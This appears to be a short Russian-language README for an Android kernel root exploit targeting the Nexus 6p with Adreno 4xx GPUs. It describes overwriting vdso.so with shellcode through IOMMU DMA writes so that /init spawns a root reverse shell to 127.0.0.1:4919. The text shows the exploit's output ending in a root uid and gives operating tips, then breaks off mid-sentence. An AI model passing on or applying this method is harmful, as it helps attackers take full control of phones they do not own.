
Протестировано на Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys)
Обсуждалась в 2016 году на Blackhat EU
С помощью iommu dma записей vdso.so перезаписывается шеллкодом.
Таким образом, после того как /init выполняет __kernel_clock_gettime, шеллкод будет выполнен.
Затем процесс /init инициирует обратное подключение с root-шеллом.
Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0
Удалите /data/local/tmp/x, если он есть, перед запуском эксплойта.
Если ожидание слишком долгое, попробуйте открыть параметры «Дата и время» в настройках вашего телефона.
Проверьте версию adreno — в настоящее время эксплойт собран для 4xx.
Для 5xx и выше: